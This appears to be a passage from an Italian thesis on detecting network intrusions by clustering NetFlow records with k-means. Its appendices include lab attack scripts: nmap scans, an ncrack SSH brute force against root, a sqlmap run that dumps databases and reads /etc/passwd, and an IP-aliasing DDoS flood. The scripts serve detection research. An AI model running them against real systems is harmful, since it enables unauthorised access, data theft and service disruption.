Tale tipologia di algoritmi presenta un vantaggio fondamentale rispettoagli algoritmi supervisionati: la non neccessarieta di una fase di addestramento[7,cap.4.1]. Questa caratteristica non implica solo un un vantaggio in terminidi risorse in quanto viene elimiata la fase di selezione di training-set dal pro-cesso di Knowledge Detection, ma ancora piu importante risulta possibileaffrontare una nuova classe di problemi che le gli algoritmi supervisionati

17

18 4. Data Mining

supportano. Infatti il limite che viene superato sta proprio nello svincolareil processo di estrazione dai dati di training, i quali - specie in problemi conelevata complessita - potrebbero essere indecidibili a priori in quanto nonnoto il pattern che si sta cercando di prevedere.Nella branca degli algoritmi non supervisionati si possono distinguere dueprincipali approci:

• Data clustering, basato sulla definizione di metriche, sulla misurazionedella distanza tra gli oggetti dello spazio ed il loro successivo rag-gruppamento in gruppi (cluster). L’algoritmo utilizzato per gli scopidell’elaborato utilizza proprio un approcio di questo genere.

• Association rules [9, cap.6], basato sulla determinazione di regole as-sociative inferite considerando le frequenze delle correlazioni tra glioggetti dello spazio in esame.

4.2 Data Clustering

In letteratura sono state descritte varie tipologie di algoritmi per il dataclustering tra cui quelli gerarchici, quelli fondati sul concetto di densita,basati su approci statistici e quelli partitivi [5, cap.2].

4.2.1 Algoritmi gerarchici

Algoritmi di tipo gerarchico pongono principalmente enfasi sulla costruzionedi un albero di cluster, tramite il quale si esprime il legame gerarchico tra ipattern appartenenti ai cluster. Esistono due modus operandi tipici di questabranca di algoritmi[5, 9]:

• agglomerativo, il quale parte dal basso e raggruppa i pattern fino acreare tutta la gerarchia dei cluster.

• divisivo, complementare al precedente (da root a foglie), nel quale siscinde il nodo principale in vari sotto-cluster.

In tali algoritmi risulta quindi importante il concetto di dissimilarita, il qualepilota le scelte di fusione - o scissione - dei cluster. Per questa ragione hannorilievo le metriche ed i criteri di collegamento scelti nelle specifiche istanze diquesta tipologia di algoritmi.

4.3 K-means 19

4.2.2 Algoritmi Density-based

Negli algoritmi density based, invece il focus e sulla densita della popo-lazione nelle regioni dello spazio osservato[9, 5, cap.8.4]. L’idea che sta allabase di questo approcio al data clustering e che gli oggetti non siano equidis-tribuiti, ma bensı siano osservabili zone con concentrazioni di oggetti piuelevate separate da regioni dello spazio osservato con densita meno elevata.

4.2.3 Algoritmi Partitivi

Un’ulteriore tipologia si ha con gli algoritmi partitivi, dove si cerca ag-glomerare i dati in cluster utilizzando un approcio bottom-up [5]. Nonostanteabbiano alcuni concetti in comune con gli algoritmi gerarchici - ad esempiol’importanza della metrica adottata metrica - vi si differenziano per le tipolo-gie di cluster che riescono a formare, infatti non prevedono vincoli gerarchicisui raggruppamenti tendono, appunto, a partizionare lo spazio osservato ininsiemi disgiunti[9, cap.8.1.2]. Maggiori dettagli di questa classe di algoritmiper il data mining verranno discussi nella sezione successiva, dove si porraenfasi sull’algoritmo k-means.

4.3 K-means

L’algoritmo k-means, utilizzato anche nelle sperimentazioni proposte nel-l’elaborato, e categorizzabile come algoritmo di clustering partitivo[9, 5]. Es-so prevede la partizione dell’insieme osservato in k cluster - con k arbitrario- specificando altrettanti centroidi, ovvero elementi che si presuppongono alcentro del cluster, e collocando il resto degli elementi nel cluster a cui ap-partiene il centroide piu vicino. In seguito l’algoritmo prevede che venganosvolte diverse itarazioni nelle quali si esegue il ricalcolo dei centroidi - comebaricentri del cluster - e si rivedono le assegnazioni degli elementi.Risulta chiaro che e molto importante la definizione della metrica con la qualesi determinano le distanze tra gli elementi dello spazio, infatti l’appartenen-za di un elemento ad un cluster e decisa in base alla vicinanza al centroideche lo caratterizza. Piu in dettagli la funzione obiettivo di questo algoritmoe minimizzare la norma1 al quadrato degli elementi del cluster dai propricentroidi:

mink∑

i=1

∑x∈Si

‖x−mi‖2

1Quindi lo spazio osservato deve essere uno spazio normato

20 4. Data Mining

Dove Si e l’insieme degli elementi del cluster i-esimo ed mi il suo centroide.Tipicamente vengono svolte numerose iterazioni di questo algoritmo variandola posizione iniziale dei centroidi, in questa maniera si riescono ad individ-uare soluzioni di buona qualita selezionando tra tutte le soluzioni generate[5,cap.2]. In generale risulta spesso impossibile trovare soluzioni ottimali conalgoritmi di clustering, proprio per questo si utilizzano algoritmi euristicicome quello appena descritto.

Capitolo 5

Framework Proposto

In seguito si presenteranno scenari, metodologie ed esperimenti volti a de-scrivere ed a validare l’approcio che l’elaborato propone per la realizzazionedi un NIDS che sfrutta una logica di rilevazione basata sull’utilizzo di modellicomportamentali estratti da dati riguardanti i flussi di rete, raccolti tramiteogni dispositivo NetFlow-like compatibile.La soluzione proposta puo risultare particolarmente interessante quando ilcampionamento diretto del traffico di rete risulta troppo oneroso, o sem-plicemente quando nello scenario reale non si e disposti ad installare nuovohardware per le rilevazioni.

5.1 Scenario Applicativo

Lo scenario di riferimento e quello proposto in Figura 5.1, dove e schemati-camente rappresentata la topologia di una rete di produzione, simile a diverserealta odierne. Da notare che l’unica accorgimento da tenere in consider-azione per il deployment del sistema proposto, e quello di riservare almenouna network ip - possibilmente non raggiungibile ne dall’esterno ne daglihost dell’organizzazione - nella quale installare le macchine per il colleziona-mento/analisi dei record NetFlow; da ricordare che tale pratica e comunquesempre consigliata in scenari minimamente complessi in cui sia necessarioavere una buona separazione logico/funzionale della rete.E’utile notare che nello scenario illustrato si pone enfasi sulla rilevazione degliattacchi, ma nonostante cio e possibile figurare una possibile evoluzione ag-giungendo caratteristiche di proattivita al sistema proposto. Infatti, in unoscenario piu completo, risulta interessante pensare ad una interazione delsistema con altri dispositivi di rete - eg.firewall - in grado di bloccare gliattacchi in corso. Percio scenari e metodologie presentate, vanno interpretati

21

22 5. Framework Proposto

come modelli di riferimento sui quali basarsi per la realizzazione di sistemidi rilevamento d’intrusioni piu complessi.

Figura 5.1: Scenario applicativo di riferimento per NIDS basati su NetFlow

5.2 Metodologia

L’applicazione di tecniche di data mining non supervisionato ai dati collezionatitramite NetFlow pone un problema non banale in quanto occorre sı testaretale soluzione in un ambiente controllato, ma allo stesso tempo occorre anchericavare dalle sessioni di test dati significativi anche per scenari reali.Per questa ragione si e scelto di procedere con un approcio similare a quelloutilizzato in precedenti lavori affini[6], ovvero orientare la sperimentazionedi laboratorio ad una logica emulativa, in altre parole ricreare sessioni speri-

5.2 Metodologia 23

mentali che emulino un contesto realistico. Coerentemente a questa scelta, eopportuno che le sessioni di laboratorio siano partizionate all’interno di piustage che permettano di emulare i varie tipologie di comportamenti possibili:

• Neutral Stage, dove vengono raccolti dati sui flussi emulando compor-tamenti benevoli da parte degli host.

• Attack Stage, dove vengono eseguite varie sessioni di attacco utilizzandotecniche differenti.

• Realistic Stage, dove gli attacchi vengono sferrati in contemporanea altraffico neutrale.

Oltre la definizione di sessioni e stage sperimentali, occorre anche esplic-itare gli step da effettuare durante le varie prove, in modo da garantire laripetibilita dei test eseguiti.In Figura 5.2 sono identificabili varie attivita principali, ognuna delle qualicomprende al suo interno una o piu azioni legate tra loro in una successionetemporale.


Figura 5.2: Attivita per la fase sperimentale

Tra le varie attivita risultano particolarmente importanti per la buonariuscita delle sperimentazioni, le attivita di:

• configurazione dei servizi, in quanto la scelta delle tipologie dei servizideve comunque essere rappresentativa di una realta;

• setup delle macchine per il collezionamento dei record NetFlow, in

5.3 Test-bed 25

quanto puo essere significativo decidere con quale granularita si in-tende estrarre i record sui flussi mantenuti sulle cache NetFlow degliISs;

• generazione traffico, in quanto anch’esso deve essere emulato in manieraquanto piu conforme alla realta;

Infine, risultano altrettanto importanti le attivita di processamento ed analisidei dati, in quanto saranno le uniche che forniranno risposte sulle peculiaritadei flussi.

5.3 Test-bed

La rete utilizzata per i test sperimentali e anch’essa ispirata allo sce-nario di riferimento descritto precedentemente. In Figura 5.3 e illustratala topologia della rete implementata per effettuare le prove sperimentali.Nella fattispecie e stata configurata una macchina server sulla quale sonoattivi un servizi HTTP ed SSH, un host sul quale vengono collezionati irecord NetFlow ed ulteriori macchine sulle quali vengono emulati i vari client(benevoli o malevoli) che accedono a tali servizi. Da notare che all’internodel server web e stata anche pubblicata una pagina dinamica vulnerabile aBlind Sql-Injection: cio risulta indispensabile per poter effettuare una ses-sione sperimentale che emuli lo scenario in cui un host malevolo sfrutta talevulnerabilita per ottenere il dump dell’intero database di back-end.Infine, la macchina che ospita il collector, installata su di una network sep-

arata e non raggiungibile dagli altri host, e stata equipaggiata con il demonenfcapd [23] per il collezionamento dei record NetFlow, configurato in modo dasalvare minuto per minuto i flussi raccolti e produrre un report riguardantetale intervallo temporale. In questo modo saranno a disposizione per l’analisisia dati globali della sessione, che ne fotografie scattate ai flussi durante tuttol’arco della prova.Naturalmente il test-bed descritto e stato implementato in un ambiente con-trollato ed isolato, in modo da prevenire il verificarsi di interferenze chepotrebbero alterare i risultati delle sessioni di prova.


Figura 5.3: Topologia del testbed

5.4 Sessioni e Risultati

La fase sperimentale e stata strutturata in 6 sessioni basate sulla metodolo-gia precedentemente descritta.Le prove condotte sono state effettuate con l’ausilio di vari tool ed altrettantiscript creati/modificati ad hoc, in dettaglio sono stati utilizzati per i seguentiscopi:

• generazione di traffico neutro[7]

• esecuzione di piu scansioni con nmap[13].

• tentare attacchi dictionary-based a servizi ssh, sfruttando ncrack[17].

• emulare un attacco DDoS su di un web server da parte di numerosiclient.

• sfruttare vulnerabilita di applicazioni web, con l’ausilio di sqlmap[15].

• generare traffico realistico, dove vari attacchi sono portati in contem-poranea a richieste benevole.

5.4 Sessioni e Risultati 27

Le sessioni effettuate hanno avuto durata differente a seconda della lorotipologia in virtu della natura stessa dell’attacco, ad esempio si puo notarecome la sessione di SBF risulti temporalmente molto piu estesa rispetto aquella di SQL-I a causa della scelta di credenziali forti per il servizio SSH.In seguito - Tabella 5.4 - sono riportate alcune statistiche di carattere generalesui dati riguardanti i flussi di rete raccolti, mentre nelle sezioni successive sonodescritte le caratteristiche dei flussi registrati basate su osservazioni in stileforense.

Sessione Flussi Bytes Packets Bps Pps Bpp Durata

Traffico Neutro 298343 352486984 5694791 76366 154 61 633 min.

Port Scanning 16782 739426 17973 1777 5 41 64 min.

SBF 20276 22970104 160275 16983 14 143 180 min.

DDoS 481896 289380677 4319122 668652 1247 66 54 min.

SQL-Injection 13734 15011876 69374 44642 25 216 45 min.

Traffico Reale 714677 418801331 6114456 178714 326 68 360 min.

Tabella 5.1: Statistiche generali sui flussi collezionati


Figura 5.4: Campione di flussi sessione Traffico Naturale

5.4.1 Traffico Neutro

Questa sessione e di rilevante importanza perche essa rappresenta la basedi partenza per l’analisi anche delle successive sessioni.Percio, prima di tutto, occorre spiegare come sono stati ricreati i pattern peril traffico neutrale[6, 7]: tali modelli sono stati ricavati dall’analisi di unacattura di traffico da una backbone (pubblicata da CAIDA[24] - Coopera-tive Association for Internet Data Analysis) dalla quale sono state isolatele interazioni di piu client a determinati servizi, poi utilizzate per estrarnepattern temporali - eg. timing delle richieste - e dimensionali - grandezzadelle risorse richieste ai servizi (ad esempio dimensione delle pagine web).In Figura 5.4.1 - e nelle successive figure del capitolo - e mostrata una sezionedel report generato con nfdump dove vengono riportati timestamp, dura-ta, protocollo, ip:porta sorgente, ip:porta destinazione, Flag TCP, Type ofService, numero pacchetti e totale byte riguardanti ogni flusso registrato.


Figura 5.5: Campione di flussi sessione Port Scanning

5.4.2 Port Scanning

Tra le caratteristiche osservabili nei record NetFlow registrati (Figura 5.4.2)in questa sessione vi sono:

• la minor durata temporale di ogni singolo flusso rispetto alla sessioneprecedente;

• la maggior concentrazione di PDU inviate da un singolo host;

• grande varieta di porte destinazione sondate da un singolo host;

• mancanza di flag FIN nel flussi registrati - tranne per alcuni tipi discansioni, eg. Xmas;

• flussi da pochi byte e composti da pochi pacchetti;


5.4.3 SSH Brute Force (SBF)

In questa sessione le caratteristiche del traffico non sono cosı esplicitecome nella precedente (Figura 5.4.3), ma si possono comunque notare alcuniinteressanti elementi:

• connessioni contemporanee e parallele da uno stesso host al servizio;

• durata dei flussi quasi fissa, infatti il demone SSH utilizzato prevede 3tentativi prima terminare la connessione;

• burst di flussi simili replicati nel tempo;

Figura 5.6: Campione di flussi sessione SBF


5.4.4 DDoS

Sessione particolarmente interessante in quanto gli effetti di un attaccoDDoS si possono riscontrare anche in caso di improvvisi picchi di utenza.Le discriminanti per il riconoscimento di tale attacco sono state:

• l’aumento innaturale e repentino del numero di flussi registrati nelperiodo;

• la perdita degli intervalli temporali tipici tra richieste effettuate da unostesso;

Altro indicatore puo essere la somiglianza tra i flussi registrati, anche se ques-ta caratteristica puo avere margini di ambiguita in quanto tale somiglian-za potrebbe esser dovuta alle richieste di una particolare risorsa divenutaimprovvisamente “popolari”.

Figura 5.7: Campione di flussi sessione DDoS


5.4.5 SQL-Injection

Anche in questo caso risultano esserci margini di ambiguita in quantosi sta osservando il fenomeno dal livello di trasporto. Nonostante cio alcuneconsiderazioni sui flussi raccolti possono essere comunque effettuate, si notanoinfatti:

• flussi serrati, non vi sono piu le naturali pause nelle richieste al servizio,e trattandosi di un servizio web cio lascia intendere che non ci sia unumano dietro a quelle richieste;

• durate dei flussi simili tra loro;

• grandezza in byte dei flussi altrettanto simili, in quanto si presupponeche vengano effettuate richieste sempre alla stessa pagina vulnerabile;

Figura 5.8: Campione di flussi sessione SQL-I


5.4.6 Traffico Realistico

L’ultima sessione e stata realizzata emulando in successione le varie tipolo-gia di attacco gia sperimentate nelle prove precedenti. Come gia anticipatogli attacchi sono stati lanciati in contemporanea al traffico neutrale utilizzatoall’inizio della fase sperimentale.Nonostante la maggiore entropia derivante dalle grandi quantita di flussicollezionati e stato possibile riconoscere alcuni pattern osservati negli attac-chi esaminati precedentemente.In Figura 5.4.6 si notano, evidenziati in arancione, segmenti TCP caratter-izzati dai flag UPF attivi, il che ci indica la possibilita che si stia verificandouno port scanning, presumibilmente con tecnica Xmas, all’interno della rete.Altro pattern riscontrato e quello d’attacco SBF, dove si possono notare piuconnessioni di durata limitata aperte dallo stesso host in un ristretto interval-lo temporale (Figura 5.4.6). Successivamente e stato possibile notare anchepossibili attacchi SQL-I in quanto diversi flussi partiti da uno stesso hosthanno avuto dimensione pressoche identica e distribuzione nel tempo innat-urale (Figura 5.4.6). Anche nel caso di attacco DDoS da parte di numerosiclient “infetti” e risultato individuabile, in quanto tipicamente in questo tipodi attacco i partecipanti richiedono contemporaneamente e continuamente lastessa risorsa (Figura 5.4.6).

Figura 5.9: Port Scanning (Xmas scan) con traffico realistico


Figura 5.10: SBF con traffico realistico

Figura 5.11: SQL-I con traffico realistico

5.5 Analisi Dei Dati 35

Figura 5.12: DDoS con traffico realistico

5.5 Analisi Dei Dati

Le precedenti osservazioni effettuate sui dati relativi ai flussi di rete sug-geriscono quindi di approfondire ulteriormente le analisi. Come gia anticipa-to, e stato quindi adottato un differente approccio all’analisi dei dati, ispiratoa quanto sperimentato in lavori precedenti su NIDS basati su SNMP[6].Tale tipologia di analisi prevede infatti la definizione di un set di variabiliche possano efficientemente rappresentare lo stato della rete, ed in seguitol’individuazione - tramite tecniche di data mining - di soglie caratterizzantiche possano permettere di rilevare attacchi di rete all’interno di traffico reale.La variabili artificiali sono state costruite in maniera tale da poter ottenereformati simili a quelli proposti in [6, cap.3] con lo scopo di riutilizzare quantopiu possibile l’algoritmo k-means sviluppato e testato per l’occasione. Nonos-tante l’impostazione scelta, si e pero deciso di non uniformare completamentele variabili create con quelle suggerite in [6], infatti il protocollo NetFlow offrediverse opportunita tra cui statistiche di sessione e vari minuziosi dettagli suiflussi registrati, percio sı e scelto di sfruttare queste peculiarita per costruirevariabili leggermente differenti dalle precedenti. Le variabili artificiali indi-viduate per questo scopo sono riportate in Tabella 5.5, esse vengono utilizzateper comporre una tupla che caratterizza un’intervallo temporale di campi-onamento. Specificatamente, nel test-bed utilizzato per le sperimentazioni


tale intervallo e stato fissato ad 1 minuto, cio significa che ogni record inseritonelle tabelle artificiali costruite caratterizza un intero minuto di traffico.In accordo con la metodologia adottata, le tabelle generate sono poi stateusate come data set nella fase di data mining, sono state quindi processateda piu istanze1 dell’algoritmo k-means descritto nei precedenti capitoli. Inseguito all’individuazione delle soglie critiche, sı e proceduto a verificare talirisultati tramite utilizzo delle stesse come discriminante per il rilevamento,in tal modo e stato possibile calcolare l’accuratezza del sistema che, come daletteratura, viene definita come:

Accuracy =TP + TN

TP + TN + FP + FN

Dove TP sono i veri positivi (attacchi rilevati), TN i veri negativi (trafficoneutro), FP i falsi positivi (traffico neutro scambiato per attacco) ed FN ifalsi negativi (attacchi scambiati per traffico normale). In Tabella 5.5 sonoriportate le statistiche ottenute in seguito alle analisi preliminari. Da essi sipuo notare come, nel complesso, il sistema abbia buoni livelli di accuratezzae come risolva uno dei problemi tipici dei piu classici NIDS behaviour-based,ovvero alto numero di falsi positivi e successivi re-training.

Media Dev.Std. Moda Min Max

Falsi Negativi (%) 0.09 0.71 0 0 15.43

Falsi Positivi (%) 15.64 7.68 19.50 3.61 34.85

Accuratezza (%) 76.56 2.47 78.85 64.75 81.56

Tabella 5.2: Statistiche del sistema

1La sessione preliminare di analisi ha previsto 1000 utilizzi dell’algoritmo k-means suidata set

5.5 Analisi Dei Dati 37

1 Timestamp2 Flows3 Bytes4 Packets5 Byte per Second (AVG)6 Packet per Second (AVG)7 Byte per Packet (AVG)8 Client IP 19 Client IP 2

10 Client IP 311 nSYN Client IP 112 nSYN Client IP 213 nSYN Client IP 314 nRES Client IP 115 nRES Client IP 216 nRES Client IP 317 nACK Client IP 118 nACK Client IP 219 nACK Client IP 320 nSYNACK Client IP 121 nSYNACK Client IP 222 nSYNACK Client IP 323 nICMP Client IP 124 nICMP Client IP 225 nICMP Client IP 326 Server IP 127 First common port on Server IP 128 Second common port on Server IP 129 Third common port on Server IP 1

Tabella 5.3: Variabili artificiali significative estratte da record NetFlow

5.5.1 Prestazioni

Occorre precisare che la generazione di queste variabili artificiali non risul-ta essere un fardello computazionale eccessivo, infatti le computazioni delletabelle hanno impegnato una comune workstation2 per non piu di 10 minuti.In seguito si e deciso di eseguire alcuni benchmark sulla stessa workstatione si sono ottenuti significativi risultati che permettono, almeno potenzial-mente, di considerazione di scenari applicativi ancora piu vasti rispetto a

2Caratteristiche workstation: RAM 4GB, CPU Intel i3


quelli prefissati.Nella fattispecie in Tabella 5.5.1 si nota come - sempre in riferimento allaworkstation utilizzata - il tempo medio di calcolo delle variabili artificiali -considerando slot da 570 flussi - risulta essere estremamente inferiore all’in-tervallo temporale considerato per la raccolta dei dati (1 minuto, come daspecifiche test-bed).

Flussi Intervalli (Int) Flussi per Int. Tempo tot. Tempo Int. Stima incidenza Flusso

178714 313 570 150 sec 0.479 sec 0.0008 sec

Tabella 5.4: Risultati Benchmark per calcolo nuove tuple

Inoltre, eseguendo alcuni semplici calcoli e possibile attribuire il caricocomputazionale dell’intervallo ai singoli flussi, nel nostro caso calcolato incirca 0.0008 sec per flusso, ed effettuare stime sulla capacita limite del sis-tema. In particolare se si assume che il delta di carico computazionale chesi avrebbe aggiungendo un flusso all’intervallo e pari al contributo preceden-temente calcolato, risulta che il sistema puo riuscire ad operare tali calcoli“online”3 fino ad numero di record per intervallo di circa 75000. Ovviamentetale numero ha senso solo se si considerano intervalli da un minuto, come pro-posto nell’elaborato, altrimenti occorre ripetere i calcoli con altri parametri.Cio significa che anche con l’utilizzo di macchine di fascia media si possonoottenere ottime prestazioni per la rilevazione di attacchi di rete in temporeale.

3Il calcolo delle variabili artificiali deve essere minore del tempo dell’intervallo

Conclusioni

Nell’elaborato e stato proposto un approccio alla rilevazione di intrusionibasato sul riconoscimento di pattern comportamentali malevoli all’internodelle registrazioni dei flussi di rete, ipotetici scenari applicativi per questosistema e metodologie per la realizzazione di test pratici. In seguito sonostati presentati i risultati di varie sessioni sperimentali nelle quali sono statiemulati diversi scenari.Analizzando i risultati collezionati si puo notare come i pattern comporta-mentali malevoli siano riscontrabili anche in scenari realistici, dove, in con-temporanea, numerosi client svolgono le loro normali operazioni di rete.Gli output di queste analisi indicano anche che il particolare approccio pro-posto nell’elaborato risulti avere gia buoni livelli di efficacia ed ulteriorimargini di miglioramento, il che rende il sistema un ottimo candidato comebase per soluzioni NIDS piu complesse ed integrabili in ambienti di pro-duzione. Oltre a cio, e stato mostrato come l’utilizzo del sistema propostosia computazionalmente efficiente e non richieda hardware speciale, renden-dolo adatto anche a scenari distribuiti, in cui possono essere presenti piumonitor in varie aree della rete.In fine, le metodologie proposte risultano interessanti anche in vista di fu-ture espansioni, come ad esempio l’introduzione di proattivita nel sistema,realizzabile con la progettazione di un livello d’interazione con dispositivi ingrado di attuare cambiamenti alla rete.

39

40 CONCLUSIONI

Appendice A

Configurazioni

A.1 Router Cisco

Di seguito la configurazione settata su iOS 12.4 per abilitare NetFlow.

!

version 12.4

service timestamps debug datetime msec

service timestamps log datetime msec

no service password-encryption

!

hostname 2801A

!

[...]

!

flow exporter flowexp-1

description test exporter. DO NOT TOUCH

destination 10.255.100.1

transport udp 9996

!

!

flow exporter flowexp-2

description flow exporter for immediate monitor

destination 10.255.100.1

transport udp 9997

!

!

flow monitor flowmon-1

description test flow monitor. DO NOT TOUCH

record netflow ipv4 original-input

exporter flowexp-1

!

!

flow monitor flowmon-2

description monitor with immediate cache

record netflow ipv4 original-input

exporter flowexp-2

cache type immediate

!

[...]

!

interface FastEthernet0/0

41

42 A Prima Appendice

description Management Interface - KEEP IT UP AND DO NOT MODIFY!

ip address 192.168.8.249 255.255.255.0

duplex auto

speed auto

!

interface FastEthernet0/1

no ip address

duplex auto

speed auto

!

interface FastEthernet0/1.101

encapsulation dot1Q 101

ip address 10.255.101.254 255.255.255.0

no cdp enable

!

interface FastEthernet0/1.111

encapsulation dot1Q 111

ip address 10.255.111.254 255.255.255.0

ip flow monitor flowmon-1 input

ip flow monitor flowmon-2 input

ip flow ingress

no cdp enable

!

interface Serial0/1/0

ip address 10.110.110.1 255.255.255.252

encapsulation ppp

shutdown

!

interface Serial0/1/1

ip address 10.130.130.1 255.255.255.252

encapsulation ppp

shutdown

!

interface FastEthernet0/3/0

ip address 10.255.100.254 255.255.255.0

duplex auto

speed auto

!

ip forward-protocol nd

!

!

[...]

scheduler allocate 20000 1000

end

A.2 CollectorScript e comandi per configurazione collector.

#!/bin/bash

# Dependencies: nfdump

#

# $1 is the captured file path

# $2 is the log file where to appens elaborated data

# $3 time of the capture

#

# Usage:

# Use it in combination with nfcapd’s -x param

# Example:

# nfcapd -b 10.255.100.1 -p 9996 -t 60 -l ./nf-capture -x "$0 %d/%f log %t"

A.2 Collector 43

capturedfile=$1

logfile=$2

time=$3

touch $logfile

touch "$logfile.human"

echo "Captured@$time" >> $logfile

echo "Captured@$time" >> "$logfile.human"

nfdump -r $capturedfile -o csv >> $logfile

nfdump -r $capturedfile -o long >> "$logfile.human"

44 A Prima Appendice

Appendice B

Script Sessioni

In seguito gli script utilizzati durante le sessioni sperimentali

B.1 Port Scanning#!/bin/bash

# Dependencies: nmap

echo " "

echo "*******************"

echo " Nmap Attack Script "

echo "*******************"

echo " "

echo "Usage: $0 <netmask>"

if [ "$(id -u)" != "0" ]; then

echo "This script must be run as root"

exit 1

fi

servervlanID="101"

timeout="600" #10 mins

nmap -sS 10.255.$servervlanID.0/$1

sleep $timeout

nmap -sT 10.255.$servervlanID.0/$1

sleep $timeout

nmap -sU 10.255.$servervlanID.0/$1

sleep $timeout

nmap -sX 10.255.$servervlanID.0/$1

sleep $timeout

nmap -sV 10.255.$servervlanID.0/$1

sleep $timeout

nmap --Pn sS 10.255.$servervlanID.0/$1

sleep $timeout

nmap -Pn -sT 10.255.$servervlanID.0/$1

sleep $timeout

nmap -Pn -sU 10.255.$servervlanID.0/$1

sleep $timeout

nmap -Pn -sX 10.255.$servervlanID.0/$1

sleep $timeout

nmap -Pn -sV 10.255.$servervlanID.0/$1

45

46 B Seconda Appendice

B.2 SBF#!/bin/bash

# Dependencies: ncrack

# SSH Bruteforce Attack Script

echo " "

echo "*****************************"

echo " SSH Bruteforce Attack Script "

echo "*****************************"

echo " "

# Basic and inefficent input control

if [ $# -ne 3 ]

then

echo " The $0 needs 2 arguments: "

echo " 1) Server IP address to attack "

echo " 2) Password list file "

echo " 3) Iterations "

echo " Example: $0 192.168.8.1 ./password_file 50"

echo " "

exit 0

fi

# Initialize input values

ServerAddress=$1

PwdList=$2

c=1

while [ $c -le $3 ]

do

echo " *** STARTING ncrack*** "

# hydra

ncrack -v --user root -P $PwdList $ServerAddress:22

c=‘expr 1 + $c‘

done

exit 0

B.3 SQL-I#!/bin/bash

# Dependencies: python >= 2.7, sqlmap

echo " "

echo " ********************************* "

echo " Sqli attack script "

echo " ********************************* "

echo " "

pyth="~/Pithon/python"

slqmp="~/sqlmap/sqlmap.py"

host="10.255.101.1"

page="pageloader?id=0"

dumps[0]="--users"

dumps[1]="--is-dba"

dumps[2]="--privileges"

dumps[3]="--dbs"

dumps[4]="--common-tables"

dumps[5]="--tables"

dumps[6]="--columns-T Country"

dumps[7]="--dump -T City"

dumps[8]="--file-read=/etc/passwd"

dumps[9]="--dump -D test"

dumps[10]="--dump-all"

c2=0

c=11

B.4 DDoS 47

echo " Clearing previous sessions.."

rm -R $sqlmap/output/$host

echo " Cleared!"

echo " "

echo " Starting..."

echo " "

while [ $c2 -le $c ]

do

echo " Trying with ${dumps[$c2]} ..."

echo ‘$pyth $sqlmap -v 1 -h http://$host/$page ${dumps[$c2]} --batch‘

echo " "

c2=‘expr $c2 + 1‘

done

B.4 DDoS#!/bin/bash

# Dependencies: wget

echo " "

echo "*******************"

echo " DDoS Attack Script "

echo "*******************"

echo " "

# Basic and inefficent input control

if [ $# -ne 5 ]

then

echo " The $0 needs 1 arguments: "

echo " 1) First Host IP to simulate "

echo " 2) Number of host to simulate"

echo " 3) Server Address"

echo " 4) Selected interface"

echo " 5) Numer or request"

echo " Example: $0 10.255.111.2 100 10.255.101.1 eth1.111 5000"

echo " "

exit 0

fi

# Initialize input values

IPStart=$1

HostNumber=$2

ServerAddress=$3

Interface=$4

Counter=0

# Splitting the IPse

# Starting IPs

AS=‘echo $IPStart | cut -d\. -f1‘

BS=‘echo $IPStart | cut -d\. -f2‘

CS=‘echo $IPStart | cut -d\. -f3‘

DS=‘echo $IPStart | cut -d\. -f4‘

while [ $Counter -lt $HostNumber ]

do

echo "Generating IP Alias = $AS.$BS.$CS.$DS"

ifconfig $Interface:$Counter $AS.$BS.$CS.$DS netmask 255.255.255.0

zombies[$Counter]="$AS.$BS.$CS.$DS"

if [ ‘expr $DS + 1‘ -le 255 ]

then

DS=‘expr $DS + 1‘

else

if [ ‘expr $CS + 1‘ -le 255 ]

then


CS=‘expr $CS + 1‘

DS=0

else

if [ ‘expr $BS + 1‘ -le 255 ]

then

BS=‘expr $BS + 1‘

CS=0

DS=0

else

if [ ‘expr $AS + 1‘ -le 255 ]

then

AS=‘expr $AS + 1‘

BS=0

CS=0

DS=0

else

AS=0

BS=0

CS=0

DS=0

fi

fi

fi

fi

Counter=‘expr $Counter + 1‘

done # while

echo " "

echo "Aliasing Finished !! "

echo " "

c2=1

c=$HostNumber

last=$5

c3=1

echo " *** STARTING DDOS *** "

echo " "

while [ $c2 -le $HostNumber ]

do

# WebRequest

wget -b -q -o ./workingdir/logtemp.log -O ./workingdir/temp.html --bind-address ${zombies[$c2]}

http://$ServerAddress/4KB.html >> /dev/null

c2=‘expr $c2 + 1‘

if [ $c2 -gt $c ]

then

echo " DDoSsing.."

c2=1

c3=‘expr $c3 + 1‘

if [ $c3 -gt $last ]

then

exit 0

fi

fi

done

B.5 Traffico Realistico#!/bin/bash

echo " "

echo "*****************************"

echo " Realistic Traffic Generator "

echo "*****************************"

B.5 Traffico Realistico 49

echo " "

timeout=20

nmapAttack=./nmap_scan.sh

sshBrute=./ssh_brute.sh

sqliAttack=./sqli_rush.sh

ddosAttack=./ddos.sh

wtGen=./web_traffic_generator

echo " Starting Neutral traffic.."

$wtGen 10.255.111.2 98 traffic_spec_new 10.255.101.1 eth1.111 >> /dev/null &

echo " waiting 5 mins cause wtgen is reading cfg"

sleep 350

echo " Traffic generation started"

sleep $timeout

echo " Starting nmap scan"

$nmapAttack 25

echo " End of nmap scan"

sleep $timeout

echo " Start SBF"

$sshBrute 10.255.101.1 pwd_list 50

echo " End of SSH Brute "

sleep $timeout

echo " Start SQLi"

$sqliAttack

echo " End of SQLI"

sleep $timeout

echo " Start DDoS"

$ddosAttack 10.255.111.100 100 10.255.101.1 eth1.111 5000

echo " End DDoS "

sleep $timeout

#Killall

ps -A | grep "$wtGen" | kill -9 ‘awk ’{print $1}’‘

exit 0

Appendice C

Script Processamento Dati

#!/bin/bash

printEntryDataTypes(){

echo "*** INFO ***"

echo "1 Timestamp"

echo "2 Flows"

echo "3 Bytes"

echo "4 Packets"

echo "5 Byte per Second (AVG)"

echo "6 Packet per Second (AVG)"

echo "7 Byte per Packet (AVG)"

echo "8 Client IP #1"



echo "11 nSYN Client IP #1"



echo "14 nRES Client IP #1"



echo "17 nACK Client IP #1"



echo "20 nSYNACK Client IP #1"



echo "23 nICMP Client IP #1"



echo "26 Server IP #1"

echo "27 First common port on Server IP #1"

echo "28 Second common port on Server IP #1"

echo "29 Third common port on Server IP #1"

}

createEntry () {

if [ $# -ne 4 ]

then

echo "***"

echo "Create SNMP-like record from NF-Log file"

echo "Usage: $0 <nf-log.csv> <beginSectionLine> <endSecionLine> <tempfile>"

echo "***"

51

52 C Terza Appendice

return 0

fi

csvfile=$1

from=‘expr $2 - 1‘

to=‘expr $3 - 1 ‘

tempfile=$4

#Extract section

cat $csvfile | head -$to | tail -‘expr $to - $from ‘ > $tempfile

# Now in $tempfile you have the section you want to analyze

entry[0]=‘cat $tempfile| grep Captured@ | cut -d@ -f2 | sed ’s/,//g’‘

# Timestamp

if [ ‘expr $to - $from ‘ -le 5 ]

then

